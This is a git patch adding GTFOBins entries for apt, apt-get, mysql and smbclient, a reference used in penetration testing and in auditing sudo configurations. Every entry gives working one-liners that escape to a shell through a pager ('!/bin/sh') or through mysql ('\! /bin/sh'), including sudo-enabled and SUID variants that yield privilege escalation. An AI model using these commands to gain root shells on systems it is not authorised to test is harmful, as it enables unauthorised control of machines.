From 09564b427f003fd15af0f93925c3f0213d078085 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 31 Aug 2018 11:09:19 +0200 Subject: [PATCH] Add apt, apt-get, mysql and smbclient Thanks to #20. --- _gtfobins/apt-get.md | 12 ++++++++++++ _gtfobins/apt.md | 12 ++++++++++++ _gtfobins/mysql.md | 10 ++++++++++ _gtfobins/smbclient.md | 12 ++++++++++++ 4 files changed, 46 insertions(+) create mode 100644 _gtfobins/apt-get.md create mode 100644 _gtfobins/apt.md create mode 100644 _gtfobins/mysql.md create mode 100644 _gtfobins/smbclient.md diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md new file mode 100644 index 0000000..096e0c3 --- /dev/null +++ b/_gtfobins/apt-get.md @@ -0,0 +1,12 @@ +--- +description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. +functions: + execute-interactive: + - code: | + apt-get changelog apt + !/bin/sh + sudo-enabled: + - code: | + sudo apt-get changelog apt + !/bin/sh +--- diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md new file mode 100644 index 0000000..096e0c3 --- /dev/null +++ b/_gtfobins/apt.md @@ -0,0 +1,12 @@ +--- +description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. +functions: + execute-interactive: + - code: | + apt-get changelog apt + !/bin/sh + sudo-enabled: + - code: | + sudo apt-get changelog apt + !/bin/sh +--- diff --git a/_gtfobins/mysql.md b/_gtfobins/mysql.md new file mode 100644 index 0000000..dbfc571 --- /dev/null +++ b/_gtfobins/mysql.md @@ -0,0 +1,10 @@ +--- +description: A valid MySQL server must be available. +functions: + execute-interactive: + - code: mysql -e '\! /bin/sh' + sudo-enabled: + - code: sudo mysql -e '\! /bin/sh' + suid-limited: + - code: ./mysql -e '\! /bin/sh' +--- diff --git a/_gtfobins/smbclient.md b/_gtfobins/smbclient.md new file mode 100644 index 0000000..b35fc1d --- /dev/null +++ b/_gtfobins/smbclient.md @@ -0,0 +1,12 @@ +--- +description: A valid SMB/CIFS server must be available. +functions: + execute-interactive: + - code: | + smbclient \\ip\share + !/bin/sh + sudo-enabled: + - code: | + sudo smbclient \\ip\share + !/bin/sh +---